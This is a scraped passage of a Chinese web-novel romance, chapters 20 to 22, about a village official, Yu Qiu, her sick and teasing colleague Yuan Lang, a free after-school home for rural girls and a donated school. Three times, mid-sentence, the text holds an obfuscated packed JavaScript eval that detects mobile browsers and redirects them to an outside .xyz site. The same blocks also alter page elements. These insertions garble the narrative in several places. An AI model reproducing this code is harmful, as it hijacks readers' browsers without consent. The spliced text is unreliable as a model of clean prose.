兄妹俩对视一眼,心里都清楚这哥们没救了。 原朗扔下水枪,像是泄了力似的躺在地上。 夜空沉沉,疏星朗朗,他想起刚才在槐树下的情景。 他仰头望着二楼那扇小窗,看到了窗边一闪而过的影子,还有那支熟悉的木簪——是余楸的。 她刚才在看他。 她现在在躲他。 他自嘲地扯了扯嘴角,低头开脚边的石子,最终还是转身离开了。 所以,真的就这么不想见到他吗? 原朗不觉得。 不想见到的话,她不会特地给自己准备甜粽子;不想见到的话,她不会由着自己拽疼她的手腕;不想见到的话,她就不会承认,她把自己当成了朋友。 原大少爷用他聪明绝顶的脑袋琢磨了半天,琢磨明白了两件事。 第一件,余楸不会不想见他的。 如果有,也只是暂时的。 第二件,他想见余楸。 没有借口,不绕弯子。 就像渴了要喝水,困了要睡觉。 他想见她—— 天经地义。 20. 含进去 村委会的早晨总是忙碌的。 余楸推门进去时,林小樱已经在整理会议资料了。 “心情很好嘛~昨天写生怎么样?” 林小樱微微脸红:“就、就画了会儿画……裴先生他教了我很多技巧……” 余楸看着她这副模样,忍不住想笑,心里却又泛起一丝说不清的感觉。 怎么就她和原朗的关系还是一团乱麻。 正想着,办公室的门被推开,原朗走了进来。 余楸转头,目光落在他身上时却愣住了——男人的脸色很差,眼下泛着淡淡的青黑,嘴唇也有些发白。走进来时还轻微地咳嗽了两声,但很快又绷紧了表情,像往常一样冷淡地扫视了一圈会议室。 “人到齐了就开会。”他的声音比平时沙哑。 余楸能感觉到,原朗的状态不对。 他时不时皱眉,手指抵在唇边压抑咳嗽,到后来甚至直接起身,低声说了句“你们先讨论”,就推门出去了。 肯定是昨晚着凉了。 余楸莫名有点愧疚。 林书记清了清嗓子:“秋秋啊,其实我有个想法,拖了很久了。一直没机会说,今天大家都在,我提一下。” “林叔您说。” “这不是已经七月了,蟹塘里正忙的季节,村里那些小孩子们在家无人看管。我啊,一直就想搞个托管班。可前些年村里只有小樱一个大学生,一是人手不够,二来,她性子你是知道的,害羞得很。” “正好这段时间,咱村里竟然有五个大学生。所以我想,能不能在这个暑假,把这个托管班啊,搞起来。” 林书记的提议不是没有道理的。 晨阳村大多是中老年人,孩子不多,平时都要到镇上的小学上学,路途不近,骑电瓶车要十几分钟。 那些小小的孩子骑着比他们还高的电瓶车在路上穿梭。村里镇里都没有红绿灯,窄窄的乡道上时不时还有大货车呼啸而过,确实危险。 前年冬天,一户留守人家的女孩,才十岁,每天带着七岁的弟弟骑车上学。那天早上雾大,一辆大货车没看清路,两个孩子当场就去世了。 余楸当时偷偷去看了那户人家,把那个月的实习工资全塞给了那对憔悴的父母。后来听说,两个孩子连像样的葬礼都办不起,她又默默添了钱。 这是一样,再来,村里留下的孩子大多是女孩。原因无他,男孩基本上都被外出打工的父母带走了。 余楸必须承认,村里重男轻女的思想依然存在。她知道自己很幸运,爸妈从没因为她是女孩就少爱她一分。 这个提议,她们没有理由不赞成。 会议结束,余楸推开门,一眼就看到原朗坐在门口的台阶上,头靠着柱子,闭着眼睛。阳光透过树叶的缝隙斑驳地落在他身上,衬得他的脸色更加苍白。 “原书记看起来生病了。”林小樱小声说。 “他可是练拳击的,没那么弱吧。”余楸满不在乎,拉着林小樱就走了。 像是怕多看一眼就会心软。 等脚步声远去,原朗才缓缓睁开眼。太阳穴一跳一跳地疼,喉咙像是被火烧过一样干涩。他抬手按了按眉心,不只是身体不舒服,心里也堵得慌。 原朗苦笑着摇摇头,撑着柱子慢慢站起来。眼前一阵发黑,他不得不扶住墙壁缓了缓。 这感觉真够糟的。 他原朗什么时候这么狼狈过? * 托管班的地点很快就定下来了,在村委会后院的一间闲置平房里。 木门上积了厚厚一层灰,推开时发出“吱呀”一声响。阳光透过蒙尘的窗户照进来,能看到空气中漂浮的细小尘埃。 不过收拾一下应该不错,空间够大,采光也好。 余楸已经做好了规划:靠窗摆几张书桌,墙角放个简易书架,中间空出来做活动区。 接下来的几天,两人忙着打扫、粉刷、收集二手桌椅。余楸从家里搬来了闲置的锅碗瓢盆,林小樱则从镇上的废品站淘来几块小黑板。 慢慢地,这个被遗忘的角落焕发出新的生机。 不过在开花之前,她们需要把小芽儿请过来。 这也是最难的一点——说服那些家庭把孩子送来。 “托管班?免费的?”刘婶抱着洗衣服的木盆,一脸狐疑,“我家小芬还要帮我喂鸡呢,哪有那个闲工夫?” 余楸耐心解释:“就白天几个小时,中午我们还管饭。” “管饭?”刘婶眼睛一亮,“那行吧,反正那丫头在家也吃不少。” 这样的对话重复了好几次。有的家长爽快答应,有的则满脸戒备。 还剩最后一户人家,那个瘦瘦小小的,叫燕子的女孩。 燕子家住在村西头,低矮的土坯房,院子里晒着一排破旧的衣裳。余楸和林小樱来时,燕子正坐在门槛上缝补一件大人的衣服,针脚歪歪扭扭,手指上还有几处细小的伤口。 “燕子,你想不想和别的小朋友一起玩?”余楸蹲下身,轻声问她。 燕子抬起头,黑葡萄似的眼睛里闪着光,但很快又暗淡下去。她怯生生地看了眼屋里,摇了摇头。 燕子的奶奶拄着拐杖走出来,听完她们的来意后冷笑一声:“女娃子上什么学?识几个字够用了,还不如在家学做活计!” “阿婆,我们不只是教识字,还有手工、唱歌……”林小樱柔声说。 “唱歌?能当饭吃?”老太太啐了一口,“我家燕子五岁就会烧饭了,针线活也拿得出手,将来嫁人用得着这些!” 余楸还想再说什么,老太太已经不耐烦地挥手赶人:“走走走,别在这儿耽误工夫!” 离开时,余楸忍不住回头看了一眼。燕子站在院子里,小手紧紧攥着衣角,嘴唇无声地动了动。 余楸看懂了,她在说:“我想去。” “女孩之家”筹备得很快,第四天就正式开课了,来了七个孩子,都是女孩。 余楸特意穿上了那件绣着向日葵的围裙,林小樱则扎起了利落的马尾。 第一天的活动是做树叶贴画。 小芬怯生生地问:“秋秋姐姐,真的不用交钱吗?” “不用。”余楸揉揉她的头发,“你们只要开开心心来玩就好。” 中午时分,教室里飘起饭菜香。余楸系着围裙在临时搭建的灶台前忙碌,林小樱带着孩子们洗手。 “我妈妈从来不做饭。”八岁的阿桃小声说,"她说女孩子迟早要嫁人,不用吃太好。” 余楸盛饭的手顿了一下,随即给阿桃的碗里多夹了两块肉:“每个孩子都是一样的。在这里,大家想吃多少就吃多少。” 午饭后是作业时间。林小樱耐心地辅导每个孩子,余楸坐在角落,给识字不多的孩子读故事书。 阳光暖暖地照进来,屋子里安静得只剩下翻书声和铅笔写字的沙沙声。 临近放学时间,余楸正在黑板上画画,突然听到门口有窸窸窣窣的声音。她走过去一看,燕子蹲在门外,手里还攥着那件没缝完的衣服。 “我……我偷偷跑来的。”燕子声音发抖,“奶奶去镇上了。” 余楸鼻子一酸,蹲下身平视她。 “燕子,欢迎你来。” 那天燕子第一次拿蜡笔画画,小手抖得厉害,画出来的线条歪歪扭扭,却笑得比谁都开心。 临走时,她拉着余楸的衣角问:“明天我还能来吗?” “当然。” “这是你的第二个家。” 燕子低下头,余楸知道,她在害怕奶奶。 “别担心燕子。” “我们有办法。” 傍晚时分,余楸和林小樱拎着一篮子新鲜蔬菜去了燕子家。老太太正坐在院子里挑豆子,见到她们立刻拉下脸。 “阿婆,”余楸笑容灿烂,"听说您腌的酸菜特别好,能教教我们吗?作为交换,我们每天给您送些自家种的菜。” 老太太狐疑地打量着她们:“就为这个?” “还有,”林小樱补充,“燕子手很巧,我们想请她帮忙教其他孩子缝纫,每天能挣五个鸡蛋。” 老太太明显心动了,随即又警惕起来:“你们图什么?” “什么都不图,只图燕子开心。” 老太太沉默了很久,最后哼了一声:“随你们便吧,反正那丫头在家也吃闲饭。” 暂时只能这样了。 余楸望着天边的晚霞。 慢慢来,总会改变的。 第二天,燕子成了“女孩之家”的正式成员。当她用颤抖的小手在黑板上写下自己的名字时,余楸背过身去,悄悄擦了擦眼角。 教室里充满了孩子们的笑声,阳光透过窗户,在地上投下斑驳的光影。 余楸想,这就是她想要守护的东西——每个女孩都有权利在阳光下自由生长。 * 夜深,人静。 余楸坐在书桌前,笔尖在养蟹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812569|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手册上勾勾画画,却怎么也集中不了注意力。窗外的蝉鸣声搅得人心烦,她正打算关窗,突然听见有人喊她。 “秋秋姐!秋秋姐!” 她推开窗户,裴知意站在楼下,一脸焦急:“原朗病倒了!烧得可厉害了!我和我哥现在得赶去市里,你能不能去看看他!” 余楸手指一紧,笔尖在纸上洇开一团墨迹。 然后故作镇定:“我知道,好像病了有几天了。” “不是姐,你不打算去看看那家伙吗?”裴知意不解。 “我有事要忙呢。”余楸低下头去。 “而且,他家里有药。” “不会有事的,你放心。” “哎呀行吧行吧!”裴知意跺了跺脚,“反正应该死不掉!那我走了啊秋秋姐!” “嗯,路上小心。” 关上窗,余楸盯着书页上那团墨迹发呆。 反正应该死不掉。 应该……真的死不掉吧。 她鬼使神差地摸了摸木头桌面,低声念叨:“童言无忌,童言无忌。” 二十分钟后。 余楸站在原朗家院门口,懊恼地叹了口气:“余小秋,你就是人太好了。” 她抬手想敲门,却发现门根本没锁。推门进去,一楼空荡荡的,茶几上散落着几盒退烧药,水杯里的水已经凉透了。 “原朗?”她轻声唤道,无人应答。 犹豫再三,她还是上了二楼。主卧的门虚掩着,透出一线微弱的灯光。余楸悄悄推开门,却在看到那个男人时滞了呼吸。 原朗靠在床头,双眼紧闭,平日里总是梳得一丝不苟的头发凌乱地散在额前。他的脸颊泛着不正常的潮红,呼吸急促,额前的碎发被汗水浸湿,黏在皮肤上。衬衫解开了两颗扣子,露出锁骨和一片汗湿的胸膛。 余楸小心翼翼地走近,试探着喊了两声。 “原朗?” “原朗?” 没有回应。 她伸手触碰他的额头,烫得像烧着了一样。 “怎么烧成这样……”余楸皱眉,环顾四周,发现窗户大敞着,夜风直往里灌。 她快步走过去关窗,忍不住数落:“都生病了还开窗户,不想好了这是。” 熟练地找出药箱,倒了杯温水,轻轻坐到床边。她的腿不经意间碰到了原朗的,隔着薄薄的布料,余楸能感受到他过高的体温。 好像连带着自己,也烧着了似的。 她将药片递到他唇边。 “原朗。” “把药吃了。” 男人迷迷糊糊地睁开眼,湿漉漉的眼神像只生病的猫。 “不吃……” “你在发烧,不吃药怎么能好呢?” “苦……不吃。”他声音沙哑,带着罕见的委屈。 余楸心头一软。 是了,这个连粽子都只吃甜的小少爷,怎么会愿意吞苦药呢? 她放柔了声音哄他:“我给你买糖吃好不好?” 原朗摇头,突然伸手抓住她的手腕:“不要糖……” “要余楸。” 他的掌心滚烫,灼得她皮肤发麻。 “要余楸……” “喂我。” 心底涌上难言的涩然,也是只有生病了,他才会用这样幼稚的口吻跟自己说话。 “我在这呢,我喂你。” “张嘴。” 原朗却没有立刻听话,而是用那双烧得发亮的眼睛看着她。 “我把药吃了……你别生气了。” “好吗?” 余楸愣住,没说话,只是将药片轻轻抵在他唇边。 原朗顺从地张嘴,却在含住药片的瞬间,突然牵起她的手,将她的指尖一并含入口中。 他的唇舌滚烫,湿润的舌尖不经意扫过她的指尖,将药片卷走的同时,还轻轻吮了一下。 那一瞬间,余楸感觉自己的心跳停止了。 她只能看见面前的男人。 看见他低垂的睫毛,高挺的鼻梁,还有因为发烧而泛红的唇。 他含着她指尖的样子,像是被雨淋湿的大狗勾,脆弱而性感,让她浑身发软。 “……!” 余楸猛地抽回手,指尖火辣辣的,像是被烙铁烫过。她慌乱地站起身,却对上原朗得逞般的眼神。 他居然、他居然…… 男人虚弱地笑了笑,声音暗哑。 “甜的。” 21. 讨厌鬼 余楸站在原地,指尖还残留着原朗唇舌的温度,皮肤下的血液像是被点燃了一般,滚烫翻涌。 她甚至能听到自己的心跳声,撞击着胸腔。 一下,一下。 震耳欲聋。 房间里安静得只剩下彼此的呼吸声。 月光透过窗帘的缝隙洒进来,落在原朗的脸上。唇色因为高烧而显得格外殷红。 余楸的视线不受控制地落在那微微敞开的领口,那片汗湿的肌肤在月色下泛着莹润的光泽。 太超过了。 她屏住呼吸,生怕惊扰这一刻的静谧。 可就在她以为原朗会再说些什么的时候,他却慢慢地闭上了眼睛,呼吸逐渐平稳下来。 余楸怔了怔,小心翼翼地靠近,低头确认 ——睡着了。 “讨厌鬼。” 她小声骂了一句,声音轻得几乎听不见。 伸手替他掖好被角,指尖不经意碰到他的肩膀,又像触电般缩回。 “你生病了,我不跟你计较。” “以后……不能这样。” 不知道是给谁的警告。 说完,她转身离开,轻轻带上了门。 门关上的那一刻,床上的男人睁开眼,漆黑的眸子里没有半分睡意。 他抬手摸了摸自己的唇,舌尖仿佛还残留着她指尖的触感——柔软、微凉,带着一丝若有若无的水汽。 他用被子蒙住自己发烫的脸,闷闷地反驳。 “我才不是讨厌鬼。” * 余楸站在厨房里,盯着锅里的白粥发呆。 她昨晚几乎一夜没睡,在后院的小竹椅上坐到了天亮,脑子里全是原朗含住她指尖的画面——他的唇舌滚烫,舌尖轻轻扫过她的指腹,那种触感仿佛烙在了皮肤上,挥之不去。 直到锅发出“滋滋”的警报声,她才猛地回神,手忙脚乱地去关火。揭开锅盖一看,粥已经糊了底,表面浮着一层焦黑的米粒。 “……” 她沮丧地叹了口气。 本来想给原朗煮一碗白粥,让他养养胃,结果煮出来这坨东西。 估计他看都不会看就直接吐了吧。 余楸正打算倒掉,转身去家里拿些点心代替,结果一回头,吓得差点把锅铲扔出去。 原朗站在厨房门口,双手抱胸,懒洋洋地倚着门框看她。 他换了一件白色T恤,衣服上还带着未干的水痕,布料微微透光,紧贴在身上,勾勒出清晰的胸肌轮廓。头发半干,凌乱地散在额前,看起来精神好了不少,只是脸色还有些苍白。 余楸心跳加速,下意识往后退了一步。 “你走路……没有声音的吗?” 原朗慢悠悠地说:“我都来了十分钟了,你也没发现我。” 余楸:“……” 男人迈步走进厨房,余楸下意识地往后退,直到后背抵上料理台冰冷的大理石台面。 “想什么呢?” 原朗低头看她,声音比平时温柔许多。 余楸不敢抬头,小声嘟囔:“没想什么……” 女人比他要娇小许多,此刻低着头,露出一截白皙的后颈,发丝柔软地垂在耳边。他看到她微微泛红的耳尖,和略显憔悴的脸色,整个人透着一股清丽又脆弱的美感。 “没睡好?” “没有,”余楸立刻否认,“睡得……挺好。” 原朗轻笑一声:“撒谎。” 他微微俯身,声音压低,“不是好孩子。” 余楸耳根一热,正想反驳,却见原朗的目光越过她的肩头,落在了那锅糊粥上。 “这是做给我的?” 心里“咯噔”一下,余楸连忙否认:“不是!不是做给你的!” “这是我……” “喂猪的。” 靠!这借口也太烂了! 原朗挑了挑眉,没说什么,只是绕过她,从橱柜里拿了个碗,自顾自地盛了一碗粥。 余楸急了,一把拉住他的胳膊:“这个真是喂猪的!” “哦。” 原朗应了一声,低头看了眼碗里焦黑的米粒,“还凑合吧,吃不死人。” 说完,他端着碗去了客厅,把粥放在茶几上,又折返回来,从冰箱里拿出几个粽子,放进微波炉加热。 “叮”的一声响,原朗把热好的粽子端上桌,瞥了她一眼。 “愣着干吗?吃饭。” 啊? 这粽子是,给她的? 余楸跟过去,小口小口地啃着粽子,一边吃一边偷偷观察原朗。他喝粥喝得面不改色,仿佛那碗焦糊的粥是什么美味佳肴。 该不会是发烧把味蕾烧坏了吧? 正想着,原朗突然开口:“我昨晚……” “昨晚什么都没发生!” 沉默。 余楸恨不得咬掉自己的舌头——这话听起来简直此地无银三百两! 原朗的表情冷了几分,淡淡地“哦”了一声。 余楸赶紧解释:“知意说你生病了,拜托我来看看你的。我给你喂了药,然后你就睡着了。” “真的什么都没发生。” “嗯,知道了。”原朗语气平静,看不出情绪。 两人沉默地吃着饭,气氛微妙又尴尬。 一阵手机铃声打破了沉默。 余楸以为原朗会起身去接,没想到他直接当着她的面按了接听键。 “沈姨。”他的声音恢复了往日的冷淡。 “我好多了。” “你来了?” “现在?” 话音刚落,门外就传来高跟鞋清脆的“哒哒”声,紧接着,一个成熟优雅的女声响起。 “我的好大儿,看看谁来了!” 余楸抬头看去,只见一位穿着时髦的女性站在门口。一身剪裁利落的米色西装,内搭真丝衬衫,脚踩尖头高跟鞋,长发微卷,妆容精致,整个人散发着都市精英的气场。 啊!是原朗的金主。 哦不对,是原朗的后妈。 女人一进门,目光就落在了余楸身上,眼睛一亮:“秋秋?你怎么在这?” 余楸赶紧站起身,拘谨地点头问好:“沈、沈姨。” 女人笑开了花,笑眯眯地给原朗递了个眼色。原朗装作没看见,低头继续喝粥。 “不不不,别喊沈姨,”女人亲热地拉住余楸的手,“那是原朗那小子故意把我喊老的!” “自我介绍一下,我叫沈却,是原朗的后妈。你叫我''却姐''就好。” 余楸乖巧地点头:“却姐。” “我塘里还有事,就先回去了。”她匆匆起身。 “却姐再见,您有空去我家做客。” “必须的!” 院门关上,沈却一屁股坐在沙发上,看着一旁盯着院门发呆的原朗,心里感慨。 自己这个便宜儿子算是彻底栽了。 “什么情况啊?”她翘起二郎腿,揶揄道,“着急忙慌地喊我来,我以为都能喝喜酒了。结果人家姑娘还没答应你呢。” “你想多了。”原朗面无表情。 沈却轻笑:“我从来不想多。” “说吧,找我什么事?" 原朗放下筷子:“你今年的慈善节目,有想法了吗?” “还没,怎么?” 沈却是著名的公益律师。她有个习惯,每年都会给福利院捐款。 “晨阳村缺个小学。”原朗淡淡道。 沈却已经明白原朗的意思,但还是故意逗他:“哎哟,我的大少爷,什么时候学会空手套白狼了?” “又不花你的钱。” 沈却怔住,神情认真起来。 “你要用那笔钱?” “嗯。” “为了秋秋?” “不仅仅是。” 沈却盯着他看了几秒,最终叹了口气。 “你想好了?” “具体方案在楼上房间。” “为什么不自己出面?” “你更合适。” 沈却笑了:“好一个''更合适''。” “行吧,我就在这住几天,帮你把这件事办好。” “你爸知道的话,一定很高兴。” “别告诉他。” “我怕他又叨叨我。” 沈却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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屋子的另一角,裴知路支着画板,将这一幕悄悄画了下来。林小樱站在他身旁,脸颊微红地看着他的侧脸,被他捕捉到目光时,慌慌张张地低下头。 活动进行到一半,林书记突然兴冲冲地跑进来,激动得语无伦次:“好消息!天大的好消息!沈律师要给我们村捐一所希望小学!” 余楸猛地抬头,不可置信地看向门口。 沈却正含笑站在那里,优雅地点了点头。 “真、真的吗?” 余楸声音发颤,再三确认。 “却姐,你是认真的吗?” 沈却意味深长地看了原朗一眼:“千真万确。” 余楸的眼眶慢慢地红了。 她想起那些天不亮就骑车去镇上的小女孩,想起燕子渴望读书的眼神,眼泪不受控制地滚落下来。 一张纸巾无声地递到她面前。余楸抬头,对上原朗平静的目光。 她接过纸巾,低声道:“谢谢。” 原朗“嗯”了一声,收回手时,指尖轻轻碰了碰她的手腕,稍纵即逝的温暖。 傍晚时分,众人商量完小学的具体规划,准备各自离开。 余楸喊住前面高大的身影。 “原朗。” 男人回头:“怎么?” “那个……”余楸攥着衣角,“明天晚上,我请你吃饭吧。” “好好的,请我吃饭干什么?” 余楸凝视着他的眼睛,又转过头去,轻声道: “谢谢你。” ——谢谢你为这些女孩做的一切。 原朗静静地看着她,忽而勾起嘴角。 “就一句谢谢?” “那、那你还想要什么?” 他向前一步,低头凑近她耳边,声音低沉。 “我想要什么,你不知道吗?” 余楸耳根发烫,还没来得及反应,原朗已经直起身,懒洋洋地挥了挥手。 “少放点毒就行,我还想多活几年。” “明天见了。” “余、小、秋。” 22. 嗯,没做 余楸站在厨房里,盯着锅里的红烧鱼发呆。她原本邀请了裴知路、林小樱和沈却一起来吃饭,结果三个人像是约好了一样—— 裴知路:【抱歉,今天约了去写生】 林小樱:【我、我和人约了去写生】 沈却:【有个临时的线上会议,走不开】 最后只剩下原朗一个人回复:【我能早点来吗】 余楸盯着手机屏幕,耳朵发烫。 更巧的是,她爸妈今天正好去县里探望亲戚,晚上不回来。 这算什么?约会吗? 还好家里不点蜡烛,不然就成了烛光晚餐了。 余楸手一抖,盐撒多了。 原朗准时按响了门铃。 他今天穿得很随意,黑色衬衫,袖子挽到手肘,露出线条分明的小臂。头发似乎刚洗过,微微蓬松,衬得那张冷峻的脸少了几分凌厉,多了几分居家的慵懒感。 余楸:“请进。” 原朗目光扫过餐桌——碗筷已经摆好了,三菜一汤,至于卖相…… 勉强能看。 “都是你做的?” “不然呢?我家又没请厨师。” 原朗没说话,径直坐下尝了一口红烧鱼,眉头微蹙。 余楸:“很难吃吗?” “咸了。” “……” “但鱼很新鲜,”原朗又夹了一筷子,“火候也还行。” “总的来说,不错。” “你是在夸我做的菜吗?”余楸有些不可置信。 男人瞥了她一眼。 “我在夸你。” 这顿饭吃得意外和谐。 原朗虽然还是那副半嫌弃半冷淡的表情,但吐槽的力度轻了不少,甚至在她手忙脚乱盛汤时,还顺手接过去帮她盛好。 吃完饭,余楸正要收拾碗筷,却被按住手腕。 “我洗,你去坐着。” 原朗的掌心温热,指腹有一层薄茧,磨得她皮肤发麻。 余楸不懂,哪有让客人洗碗的道理。 “你是客人,我怎么能让你洗。” “那你不拿我当客人不就行了。”说完,男人起身去了厨房。 她站在厨房门口,看着原朗熟练地洗碗。水流冲刷着他骨节分明的手指,泡沫沾在腕骨上,在灯光下泛着细碎的光。 有点好看。 余楸别开脸,暗骂自己没出息。 洗完碗,两人坐在客厅沙发上,大眼瞪小眼。 空气里弥漫着一股“孩子你该回家了”的气息。 余楸想了想,还是找个话题:“今天天气不错……” “嗯。” “村里小学的事,却姐说一年后就能动工……” “嗯。” “你今天,脾气还挺好的哈。” “嗯。” …… 还能不能愉快地聊天了! 就在余楸考虑要不要直接赶人时,原朗突然开口:“你房间桌子上相框里的人,是那个阿源吗?” “你、你怎么知道?” “刚上楼拿咸肉,你房间门没关,”原朗语气平静。 “我一转头就看见了,不是故意的。” 余楸尴尬得脚趾抠地,怎么老是从这个男人嘴里听到贺源的事。 “你为什么想知道?” “好奇而已。”原朗侧头看她,眼神深邃。 “我想看看,什么人在你心里这么重要。” 余楸小声辩解:“没有……没有很重要。” 原朗嗤笑一声:“没有很重要你放桌子上摆着?” 他忽然凑近,嗓音压低。 “那要不你换成我的照片,天天看,你愿意吗?” 余楸真的搞不懂这个家伙知不知道自己在说什么,那是她的贺源哥哥诶。 他们两个人怎么能相提并论的嘛! “你、你别胡说!”她慌乱地推开他。 “阿源哥哥只是我的邻居,小时候经常照顾我。” “我们……感情还行吧。” “哦?青梅竹马?” “不是啦!就是……关系不错的哥哥。” “这长得也不帅啊,”原朗轻哼,“还不如裴知路那个家伙。” “我觉得帅就可以了,行吗?” 原朗噎住,半晌只憋出一句:“随你。” 气氛顿时冷了下来。余楸觉得他莫名其妙,干脆下逐客令:“你是不是该走了?” 原朗脸色一沉:“赶我?” “不就问了一下你的小情郎吗,至于这么激动?” “原朗!” 余楸真的恼了,“你再这样我真生气了!” 谁知男人看她炸毛,反而笑了。 他慢悠悠站起身,语气欠揍:“行,我走。” “给你的阿源哥哥腾位置。” 余楸抓起抱枕砸过去:“滚滚滚!” 原朗轻松接住抱枕,顺手揉了揉她的头发,在余楸反应过来前,已经大步走向门口。 “明天村民大会汇报工作,别忘了!” 门关上的瞬间,余楸瘫在沙发上,捂住发烫的脸。 这个混蛋,到底什么意思啊! * 村委会的大院里挤满了人,几乎每户都派了代表来参加这次会议。 余楸站在临时搭建的讲台前,手里拿着厚厚一叠资料,心跳得有些快。 这是她第一次在这么多人面前汇报工作,台下坐着的不只是村干部,还有看着她长大的叔叔伯伯们。 她深吸一口气,翻开文件夹。 “各位乡亲,今天我想跟大家汇报一下新饲料试用的情况。”她的声音清亮,在嘈杂的院子里格外清晰,“过去三个月,我在自家塘里试用了''蟹霸王''新型饲料,效果很明显。” “使用新饲料后,螃蟹的脱壳周期缩短了一成,平均体重增加了两成,而且肉质更加饱满紧实。“ “这是两组螃蟹的对比,新饲料喂养的蟹黄更饱满,蟹肉纹理也更清晰。” 老李头举手提问:“余丫头,这饲料贵不贵啊?” “李叔问得好。”余楸微笑着调出价格表,“单买确实比普通饲料贵,但厂家给了我们村团购价,算下来每吨只比原来贵一成不到。” “而且厂家承诺,如果我们全村采用,他们会免费帮晨阳村螃蟹做宣传,包括线上直播和线下推广。” 会场热闹起来。 王会计皱着眉头:“秋秋,不是叔不信你,但万一换了饲料,螃蟹卖不上价怎么办?咱们村就这一个业务,可经不起折腾啊。” “王叔,我理解您的顾虑。”余楸切换PPT,“这是最近三个月我们直播间的数据,我可以很自信地说,晨阳村螃蟹已经小有名气了。” “我还没有告诉大家,到昨天,已经有七家电商联系过我,想订购我们的螃蟹。但问题在于,这些订单要么量小,要么压价厉害,没法惠及全村。” “我的想法是,我们要拿下包村的大单!” 余楸声音提高了几分,“这需要两个条件:一是螃蟹质量必须过硬,二是要有商业附加值。新饲料能解决第一个问题,而宣传合作能解决第二个。” 赵大爷抽着旱烟嘀咕:“说得好听,万一亏了算谁的?” 争论渐起时,一个修长的身影站了起来。 原朗走到余楸身边,缓缓开口:“乡亲们,听我说两句。” 整个院子瞬间安静下来。 他抽过余楸手中的翻页笔,调出一张简易的盈亏分析图。 “我用最直白的话给大家算笔账。”他指着图表,“假设全村一半的塘改用新饲料,前期投入增加一成,但按照余楸的销售预期,利润可能增长三成到五成。” “就像买新稻种,贵是贵点,但亩产能多收两成,这笔账怎么算都划算。” “哪怕是最坏的情况,如果销售不如预期,亏损也控制在一成以内,而且咱们随时可以切换回原饲料。” “但如果成功,晨阳村螃蟹的品牌价值会翻倍,到时候就不是我们求着别人买,而是别人抢着要我们的货。” 男人讲解时眉头微蹙,眼神专注,修长的手指在图表上圈画重点,每个数字都信手拈来。 似乎察觉到一旁的目光,男人忽然转头,冲余楸挑了挑眉,嘴角勾起一抹略带得意的笑。 臭屁小孩!余楸在心里默默吐槽。 “总之,”原朗最后总结,“现在加入是风险最小、收益最大的时候。当然,如果还想观望,等看到成效再加入也不迟。” “但我们的目标是一致的——让晨阳村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812571|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的螃蟹走出去,让全村人都富起来!” 话音刚落,院子里响起热烈的掌声。 林书记站起来宣布:“这样,给大家两个星期时间考虑,下次会议我们再最终表决。” 散会后,余楸正收拾资料。 “讲得不错。” 她抬头,原朗正叼着根棒棒糖。 余楸掩住脸上的笑意:“哼,太阳打西边出来了,原书记居然会夸我。” “想夸就夸咯。”男人的语气听起来满不在乎。 “你……” “谢谢你刚才帮我。” 余楸如是说道,她不是一个不明事理的人,旁人对她的好,她都记得很清楚。 当然,旁人对她的不好,她也在心里默默记仇。 至于这个“旁人”,最近好像真的很奇怪。 “不客气。” “祝你的计划早日实现。” 原朗从口袋里拿出一个东西扔到她怀里。 “吃不完了,你解决了吧。” 余楸一看,是一根橙子味的棒棒糖。 ——她最喜欢的口味。 这个家伙,之前还嘲笑她这么大年纪还吃棒棒糖,结果自己倒吃上了。 余楸撕开糖纸,舌尖舔过糖果,甜到心里。 她小声地说: “是我们的计划。” * 夜色渐深,余楸抱着一叠资料来到原朗家院门前。月光洒在石板路上,映出她纤细的影子。 她伸手推了推院门——果然又没锁。 “真不省心。” 小声嘀咕着走进去,穿过安静的院子。 客厅亮着灯,却不见人影。 余楸把资料放在茶几上,正想喊人,忽然听见卫生间传来一阵若有若无的水声,夹杂着低沉的喘息。 她下意识朝声音来源走去,却在距离卫生间几步远时猛地停住。 门缝里透出的灯光勾勒出一个模糊的剪影,男人的喘息声愈发清晰,低沉而压抑。 “哈……” “秋……” 余楸瞬间僵在原地。 那声低唤太模糊,却又像一根羽毛,轻轻扫过她最敏感的神经。 他刚才是在喊—— 余小秋? 心脏骤然狂跳,脸颊烧得发烫。余楸感觉到双腿在发软,竟渐渐地要站不住了。 理智告诉她应该立刻离开,可身体却像被钉在原地,耳边只剩下自己震耳欲聋的心跳声。 他在,做什么? 他刚才喊的,又是谁? 余楸不停去想,又不敢去想。 突然,水声停了。 余楸如梦初醒,慌乱后退,却不小心踢到了墙角的盆栽。“哐当”一声脆响,在寂静的夜里格外刺耳。 卫生间的门猛地被拉开—— 原朗站在门口,发梢还滴着水,赤裸的上身泛着水光,腹肌线条在灯光下格外分明。 男人的眼神从震惊到尴尬,最后定格在余楸通红的脸蛋上。 两人四目相对。 空气仿佛凝固了。 “我……”余楸的声音细如蚊呐,“我来送资料……” 原朗的喉结滚动了一下,耳根肉眼可见地泛红。他张了张嘴,似乎想解释什么,却被院门推开的声音打断。 “儿砸,你姨我回来了!” 